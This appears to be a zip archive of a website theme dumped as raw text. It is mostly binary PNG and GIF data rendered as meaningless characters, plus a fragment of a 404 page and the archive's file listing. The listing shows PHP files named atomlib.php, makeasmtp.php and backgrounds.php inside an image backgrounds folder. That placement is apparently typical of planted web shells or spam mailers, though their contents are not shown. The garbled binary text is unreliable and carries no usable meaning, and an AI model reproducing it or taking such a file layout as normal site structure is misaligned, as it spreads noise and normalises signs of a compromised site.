verticalfabric.png
carbonfiber.png
cracks.png
spongepaint.png
minicheck.png
bigcheck.png
verticallines.png
horizontallines.png
chainlink.png
floral1.png
dots.png
bricks.png
sanddunes.png
texturecheck.png
satin.png
startiles.png
money.png
PK0fZj images/backgrounds/chainlink.pngnu[PNG  IHDR>asBIT|d pHYs  ~tEXtCreation Time12/24/08tEXtSoftwareAdobe FireworksONIDATxo׎b P(qk 2RRF"EjWYTURTQRh,;ct{1z1k^ ;;ٙw]4WQnlQw4͟ oөu4 s$˦it'w_9t` XViRS5 %cG en+"pQcl6[ 3M{QUVPǀu`ܠ[:Mw4 ?h0V]t=Y`^Юt\WrOcAӾыMӐ5I h%/%A|Mڕ ׮v$ȵ+%A՚%HN'PҬ%*^Y fII3KJdTzx{RRN{IeisILϙ&3ҋe?k 苙V(i pCU ( ˎn1|dе[-6C][t"NjWs)qK64;uӚ;,huq['`a1pԮt__.iL 'VE0z>p+]j?Sɝ+&>D98ݬآrx8zDbE=m E>ik/"QO[xCb9s%Kj/%AR~/%AR^1Gi ;Tz79M"J^LcW$sfK֘3[2?gd~lF/y 8/<O.+lF]Vk =k"Ջгg9yƒzWkуz'a|pDxq p+@6p ['WjZDܯF;" W)IyMESL0u ,_Usu+nxI/r D "[lylĨƇz'VebGĎnZ^Hsɂn=^B9bEPi,ߋA@z2nM&8h^Qj %՘5{\@yD^/'jъz <4;yW[q'n/ b{F6Cė_kzVD\>Գ"g~ۧwTJa,׎W}ԛ FSudm͑B=*wRH&J)tZDՉ$u wR<|a[xQB1yv^BRQz9!̫Ԁ0w@3.վA{txL/K~IE_=ax2a zdE*!WS^NϹBFcbGEċ\;Ď8>[Ci~G0}E8>tgWϬS9ByY pKR\mξ]&\9E9B߬c^V)d+^tQo4D쏭( 5V-"# "֣^AW ;p܁u$Hu& H|$>`/T:u:@z!y$P꼨I'@ CN}ƥМ90vO_Po(DԢjo5C` EnF|?^XP^-"ZQz"bڧvt3焷Lޔ/Mˠ;HO`-?nL7~нG hLh׀u{Ic{SQ9&1`I/q;FmlWQA/zAqA%j((tx.Ʋ b .iq/z^^:L21awW:D$`^: %ft^) JPJAWB͒2"z9ݠ^b /4gN3 ׁJ] g(#ix?q6"z8굺QH&@l(a!'K.4v U2"{cT![8tw*"7b?aen?-:"wpi>d:[:tW8S76"zVX i $H& : K7"zZ 1R'OFQzC#'^πTh΀ٳ \Hg@K&:ި#☨ә`+^tQz-\z!Wg:3g</>7 uWT4^sy1/ Z]^&,^w]D@D8ԉ^fW ߫wU;;}}6Ѓz5ESIN"9=9[g6Ћ!]HOՍ3Zf"07n, ' OfM}#snIkFF7O˭`8߿z˳v+xFxN3-o àAĵf^/hڀq ٶo|nx :i\A)O$, K4ً%aǻh+R6@^;B˳%L^z^, okkO  I֋.7& 6FVYC]z#bEDL' WxtK/WoyQo`ov㵛 +~<|-{^/tXKn%F^ bDBP8eR 1POI "%|^5 "VzaFD0Xc~j4gtS6Th%A.DŝV#[Y֋z+E~fՠN¨t\#pV?uS »u捺ԛ' Nj\?//BxxQoE ԘrcXD=t "u</jp}_2t3KЍz}q"t /jp} 3_ <뼨Ӎz%Q_U4_ , 1?uP :-uъz}D4&kB7"ffG0 "(֋zn#2BAE[ڢAWE/JRI`[kbܼwa9v5!QZq}M2"^h:֊_}{*DyB4Yz/^/|)A7+JAI_?%"Ξnl4WBD ;ұt,/TtS^^ sL$%׋xQkTS֠kF]V;EXQ"^,o3^dt넷\=Vz"w }m`&prFȜ豤8tCq.EQE=+". ;"+*E7$iu=flMg,;f. KV2ߨˡ^ %ԓt)dIB= B=A'^ ӕ-whP/%+y1"%s(/质ED+ud#R^ /L@YE*Rъz-"~葭-^3ƒEDnŒzZYeb FzPPԮ :v"IHp-^xqBǬǒZz.yE="FmzDlQoձKF=IB= "QO3Qς}GZ\J’I%Km!bJu4C!PwӁ@rX26u+!zNPN)kqF ,|ט|Ηud~. $ ^Xq}ilS"(i T7OTZD1̜ ZD)L<;ṡ,x0U:$ bL"aG[ ?\t)dQIENDB`PK0fZQUimages/backgrounds/bigcheck.pngnu[PNG  IHDR>asBIT|d pHYs  ~tEXtCreation Time12/24/08tEXtSoftwareAdobe FireworksONrIDATxA0P6 {k aC|f?^ Wp+\ Wp+\ Wp+\ Wpo Wp+\ Wp+\ Wp+\ Wp^o Wp+\ Wp+\ Wp+\ Wpݽ~=Wp+\ Wp+\ Wp+\ Wp++IENDB`PK0fZbtpRpRimages/backgrounds/bricks.pngnu[PNG  IHDR|gAMA7tEXtSoftwareAdobe ImageReadyqe<RIDATx}sWQE1w7,lw{^tLě'_11akc!cCTh)S޼Ypǫ AUV}y^W޷yow+wC/~&i罆v3C߅Uwu[5{`rS?_y9y?gp5_;[;M\Yy[;yy<vo<6p5MzdX~xΆYC3;\۴;՝wv3N׆YWhokp 8-StșZ+g@g>gB+ ϶ϯy{^^y haYA=wyOF!`n=lXmYT1@slmt@p:y_ۄ8ȝ_yu¿o /㸯"sk/wo w7y vayl1oo߁6[=H _y/{zhn&3x`Z{Mf@5@DJg {܃g=ZJg Ȼ-<[纞9 {?>/?sޫ Y#BT=[ n w9G~k{k}"fjEx=W  smW,/}ϙ,o,1ncabncy__5o>rr͟wȾas (sLѶ ,b ?#7A@U<<ĕ ҧEy_=ZwgHkC,@1-=rHոEbbng4k[&Qb"î㺎C|u3'!ݵpw&8cni9A!#,^pl E &}vN﷉0 A6us.E>0)j۸V@̀dlS 2NW[wΐ%eéT*?Oф˰C@K+wֳjT9"/J)B6H}3L3Q#2uY4TmbD`'G}.8O%Jw%`7Zxmzvɾ%0w1: &4Tq,Eރ$C\ lkP8G_ wY{&3_T'@(.%%2ET%X]yu%7䨒JORγ3~"wXHH͛1*y9׫ %bDYG%PQ{.GB76!,s8vJ|Xp>(//icDm8NjTuH9Rq0ϓzvT.#6yu=I{PG"p8J=#u/JwI ScMjQGRa^?`q5N| nH41N^"#:禱fͷd;ޕ"c18WZ^ _Ջ)nq֑ C|5:66Lب yΐKs+J=ioL%IRs?T=Fv:#&CdJq裣K' m-9IWtk;|嘪1" : "+&6^NC!ou"ܷr]ܿ]=Y-쭋zy_%AmR54%^ 5i^35\}ì=WFQ= 8&Wa@UF,HM)ͯqȽ.࡜6z}u!k|%{(uWW9dݦyY̍{xi蓆jp\$'PYJI8Oqd#}! ֤ש2Ys\j<W#`>jsQ[u \1Wx9YЖ^g?Jn3F ̒#9ǪSe0;iWݰj~R{._D'SW4J߫ }6䥆5X<,r*mp7onT?]r:n)Fm~|`8?TXvj%%~yD , c9R_%ޥH-LP4]P !;pk[?~Oɧ0̤8*#-[wqA.} :G&ᖚ1b]fa4~X^=oħ.W?#\pVVk we)zj.[ꓴ~߄-sMC_;-vO~2+;ob[$T?^HWN\j(Ğa%x,M M*)i<|qKTN=)9o:@)Ph f~MeðxpٗۿXw7rd81U56x8WqngsL8O2[78F x}KXڢ9 bK+28U -&NA1CƲ8߁(M}ƴc 0$<[GVA21"Oh=FXUz^9124ܕrڒ*զ<+~} ]YN^fM1BJ"7RjKyG&vgR~6ٖr#`81YC@L7I]ܬ; 5;g{ tfbKGU:(R̷l% L[:3=RL Pe]֎njC׋>ILRn8" ܯY{۱}(G]zbH]!!ơ&| W뙓$״UR>SQi:iٸ ũ[ wmp_HrC'Ǟl}͹=<K?݂*I3ۿHw*Q Ðw(f.yh}֥HoV_5珸m\[ 8<8!%K E~zBEU)ꭵϔ6mJ 5ɧlAv -)3BkD~_ pqMP{AK:D}FXcС7Ю{k Pi9g0RR{y })FrZ79b&Մ~אr:6#=Aur1)QdmxiM:8>*k~6aHz's轴"Y$Κ@r߄+)U7ͽ¦gR5RIHtȯYӞ 6|0&E $u"hb ~pe%w"ddOQ#f nۯ%X>5RzFDו,#pTĿ{w[{g)dz; S=:49' ݆[̪k=e}cstDmKrJ_\*9tqe<5͍֠#5Un`aӫ^UuL/[gWb{24(ӯgdŖ.*%.7,h]#2v=l37MamΛݲ{`WSx/NB{{ggkpxB-&fFZ6pPA_y:zV/9S7`hG)TNm6;f ^7k/9ts~Hu`{yQ[5a$W1Wrl'uD}dCG'`z S83m TqV@%b=LC >zZ@Ћ'c)fM^sT\(6`3|MR#7Ք>9Rΰ5E6@ s%o~s,INm27Ceb%=P,sJ=a]y 3RcXMؗԭbR=wq:U5l5oܲ]\h$GL%G¼؋[XBmFn^óa<~&~'E[6e,w1lK^Q ɧTO-^qpK}Z=I9=^PR09R CLR_>y-AyGFc8@yNg ̋X<0Zmg~oZGʵBA?:{{$1)ٷR4z;{6-LyGqG`4ks=('-K1.o{Dv ׼/4$I^Ʀ[)zghTu׬o._CRIgL8?GW%z(ţe d( ʒc}ōRbWB1" mvz.WȣsJU)FZzt!"Anv"2H)GN&H7l#V瓄XU] dힱNOfṺ)KU.5eܯf|Hx[~_͙4m)ڧ T9Ya>i۾_> }@jGpo+1z kf])l`P)zZkVQ6v^U@6I߆#BmYUjb|5T%2=Կ+aD| >oq@h1]_bܾz^M2[qms7aXO 8op_lboxq)F$~P",/`\ظ=(u])ulӷ b_ʪl牼2ٝo"&:XpԱ٧8/ECs9n?TM3la/!ӤkM:`xmn+Fm.c”͝ 5P[+QrѕXg-j$kOq26Ygq_`t%^v 9uݖb@,ӶIPxxΌ:'sLx 7l'Zր!3RpBS5DVUW곖lK'u[dxmcJV.Ar\`B nz@T5 =fHz]K}!NJѽ~Ց{H\ų+ޯQ7 7v.jHZh>":YiȹJ'fH/Ems3)+ߕW#b֒xrєrOE6;ξxN;.E,wﮔskņr)E2ܮ`o-ڏ[eM<}*zSge:# 8#pPϟq (zRqQ5VE1jÌ!|@S>{QiG=k?x^!"aPKo>P\JެY=L˵Bq26$k!񅹦$v\^d6cR<;Ry -_u281uV߹2õks$Ab)! 2Lm o0̸4!3tFQYöj%&l޲<{cSA$< joaL.]v8_=^@Rn9lGN8%Ş;lϱ/;G/Bꮄ㆛VΠb6ueͿt[mRY31=fHgp]|(4T ~):8` TvKn R a8=7vЪH9xMuJ[6_L@X I#p='I8`^ƺhd|3 k]hUx;o0{9ktgq/Nlvt.v@R"lOPRDץhHmi#lth4]2r@<:t0|Dt:WU{Pr^" cYoa"KbKS:+]U*9z]tt.#БryۇKl/ ΰkR qRT-RTK*lnŤqIZzgDd>t3rw)) A-\3[,ki)p)@Vw@!& )%Cst4LuGJ18FH|IQ2,cC$ާ5%Eh@DU]PytvιR8/iԑb"+/EOSm??C: -E#߁8sd 쥤/%ȣR^^"=TEZUثC O*B-&%_ j}Sd[՚Rpm&K_Z)xLīu )ziqTm^!pysJn&YUM)r.^~oH WHljTq\ j3SOl*[(V6U^Tϙ:>b ՝M j'm?K<Z8U.9gQg c}ީagl}"ew:QTkPw0;^OJǣ&R {ିYsm\ۂvi2upG*4}VުqzdtC^Y-]3:} <ėv<b}ݕR$<&̨k]݌ Gm*U~g=R?)4GcaYèk[J5O@R.Rhd))qXA!7țe;y[Y U X7*`[dQptFjy]Pa5]"oz 9bfn*֨/o{Hj,]RM- eMBܓr6qӲЛ@p/8 V]ɟ'_3;s/0iׄZB),3R4x1QaۤzWh(X8_HߘHSRDJt5sr[vՁy}mܳ>2 = ZKvB֮zr뭈.Z&=&>w5}\߶\ لX lğ뵺8O96zZs0,!{D⾞{cAN@RU:rМp*nޥ 5Kzh<'u$)N棼bF\ ^ƇIA5ҽX0 RL<6A}#_fdk")x43f,N]oY{`9uc˽RX1ܕW%ʡmckg.;7S[Ljk|@hE`IJUò?Q$.,-S4aW lI,2kzLIy6A@U||(堠fR46X ۤJ械tZ=lrtwfXjvWzS{G&CrgΩߵepef#]=NMAs_=ơ^`$TF])焐xIKDFJ`8d)x:nu'J3NIEgWz&'ɭ'qHUIREʓRV#"8 nR๶8OQ>[gޞI$mutORZ%;٥}f5ݥg4̇JN3IKy\ ɓΤb0^5 ^l4%{ODɐ5:0Im@D )7`5Nm j < QGpU0/`!&MɞV{w $ڊ̬>i2k7 $N, o1R;]a`!UyP{쪁xk/ߑ"6Qe SԥQ=]pTY9W՞#NQ:[5>{)2_-H@Gd1!רs4a\"PLHy\2OdQ MR؋bRgpMZv^lIHybbn3\ |}/ "igM3=+AJ rICNÈdKw+-ES&q{Ro~)׫Wu~ x$5b0e`69:5m)w-Uܸ:|CjUFX5Tde!%.ʣ{{q9 VC\zк0"MiG¿A0VٟczMG@sUEIQ͜jy@O}&_dž[oC6&/F48TchzΚɌQƈ;eΐ]ga?c "{FMcg$H6Rxץ7H ȯ3 Sn%/|q7gwޘ5ηLu)S9x^܃z͒ -Roby"9~! 8Fe[˙ɓ:q!c l%)S>!6"Bʬ~Ϯ6D.Īe_(qpŶV(2,Bc7Cn_4C ok[`zT :Z7kx|h6 Θ߆|@-Js^Өs0P=cOW5rTEmo=D[òkm>'7϶צ}"vDS)sz{NGRkhXdkk{=4\}Sқ(6\ _&7"ځ"`ĤJ"y^ /s :3n)aDvҾԭ?C3dW4 AlEj8+$-#3W<qײ yIQVLw#^ Mב'sb}FN'!UUgh,(Ϥ(sTKOLfd0+EW -co:? biĄּfJ.T UKD"OeRW]s u`18G89Iͥk``[)F~è\<˭Kѧ*6AlSyηf#-@N=.ޡ <ޞNw^&f"Yqj-,!kWT_k@BnA*/?_'7^5P먦2=;ixu,Y{hbQ n8,#CUHRԈ` FK{}zPy@Ng~?C'ㅱJl;vHك>%D ~N!FzZ tO_p~Oumg6@ KR4L)07ßUwq&}X\n36{~N*^,{}B*h``q[D70ϥw\;wk/yXvDSQmE61:KHy!!Zי09A %Sb^}%XC:,FK88;Ǻc<<'63$%nx\ ɢ5J(S3ױ>jxcl Q7G}bwѮ=6$68/⊘*lAj-_ὔiHjK:sOġꕺngt G)@^Y+MsB~7\ML5?*$ `MO8Kn2X^ ޡ4 t]3C_UnP"H; BZ7Q'+"cUb,v2[F#c+Qe 6RSD!!ϝz P1::#J y2r*eFX+C몼jsCAH1*gìK#P#j< N{})e92.;0/Z6h-u\X}a&BDK̲]p`FdgA:&eoT#-ίha_)~uz~BF) KF"pKzuOVyuΚ@`W_ WF=&#%`L!,ZƃzF4®{W sИ`oc~BݼTٟNqQƸ-s֎9@Ufd0l$'C`K|=w3VMޢ;tV3RVQw+ў .u}pQ)nԥ7̈g֦MJ9)ꕞR̜Ɖ۪H0_&4z y2!9-gT,J<%hnIx7C/ gE2D)p[N }w$lϑ5%fɪBVKJ}X3'ΚMr*B"$VKR]Zc!AE5 HQx3*C7ؿeCcBcgS[zug= F fb{z5׊<0!L'5/?S`wg>lw53ckD,PL.b+s~ok &sU h] ^=C \p ͲLa> (= Ol!o첵B}j<"4MVSu xU{Ge^KcCUwv6A[2Z!FGozF狳[mjYzGh- ^Cv<(2ޞ񮝗"C{1ab_mQ\: k!I\sY#+˹kb-%O8Htm- 膊4D;P-È~Mׅu_3akɬx)6#Xݱ@܆5nXkǝyJFz3oGRn#c*6IN>5YJicqY 9 7#\uv ۈU7AHT̶ W۱516m uad]r;3NJ %3a sz2X[~SC˵yݞ AT1M:k:, 6҈f^ =>=fDr/WgBu VoKiCXCa1ҠZs,!(+n:"6:/ѺPkgtIZh M)Wjڼپ2wExPl}P%<'ݗEsʩZ)bf3s@Ti yˬu] Uiu:r7w~O8)REg }tF߫2Kn%W{4\rb׽+"~! C}k^<{Z4uo6{,`uL yҴ-K1.SȞKYs\) U ~8,GA$˚s pM ^O`ϫ=rv"Q~"=4y: y{1djMɩf7-E'"בhkCJTK%.GM{̸Z\'a(yB uM8,5{D7= R+iޤa_C(m[kp/X7~$Et_:28<ʻ2}puLj e\zn ILJ$pO8XIY71 bg̬qwRqn74 r?0y$cK=Cݵ}sC~rFXIJ#>#ΊT9)ZZWE2Ĺ֞wR4bo LFU%L .;.t̽Z7u`xNеiLj7]yV\(ƣ?Q;P]Qg 2(FTCpBup+g a`:7>1 굜:942nU:)X'Y=ڬ2HRIENDB`PK0fZF7images/arrow.gifnu[GIF89a ƿ!, I ditt+^57  w tbPD/BI BdUÌe \pB;PK0fZbxqimages/arrows-ffffff.pngnu[PNG  IHDRnZ^9sBITO PLTEJtRNSw b pHYs  ~tEXtSoftwareAdobe Fireworks CS3FKIDAT(c`F $dVc("QV? F@44h*PU+!A E!^ 5pIENDB`PK0fZz404.phpnu[

Perhaps you can find what you're looking for below.

Recent Blog Posts

PK0fZm oo iepngfix.htcnu[ PK0fZ麾 adsense.phpnu[ PK0fZ"/ footer.phpnu[PK0fZBi fullwidth-template.phpnu[PK0fZLM functions.phpnu[PK0fZ6* 0archive.phpnu[PK0fZ(66 <favicon.iconu[PK0fZgʿ} -Kie6style.phpnu[PK0fZ/hRheadersearchform.phpnu[PK0fZۃ Tfeature.phpnu[PK0fZh.. \fullwidth-template-notitle.phpnu[PK0fZ:Lciepngfix_tilebg.jsnu[PK0fZl rcomments.phpnu[PK0fZ#n22 header.phpnu[PK0fZkT"images/backgrounds/carbonfiber.pngnu[PK0fZ9 images/backgrounds/diamonds.pngnu[PK0fZKON images/backgrounds/batik.pngnu[PK0fZdFV8V8images/backgrounds/atomlib.phpnu[PK0fZk1`<<images/backgrounds/cracks.pngnu[PK0fZ .zimages/backgrounds/baroque.pngnu[PK0fZwp images/backgrounds/diaglines.pngnu[PK0fZ_Wg |images/backgrounds/makeasmtp.phpnu[PK0fZmu"Simages/backgrounds/backgrounds.phpnu[PK0fZj kimages/backgrounds/chainlink.pngnu[PK0fZQU~images/backgrounds/bigcheck.pngnu[PK0fZbtpRpR8images/backgrounds/bricks.pngnu[PK0fZF7images/arrow.gifnu[PK0fZbxqimages/arrows-ffffff.pngnu[PK0fZz=404.phpnu[PK0fZm oo giepngfix.htcnu[PK0fZ麾 adsense.phpnu[PK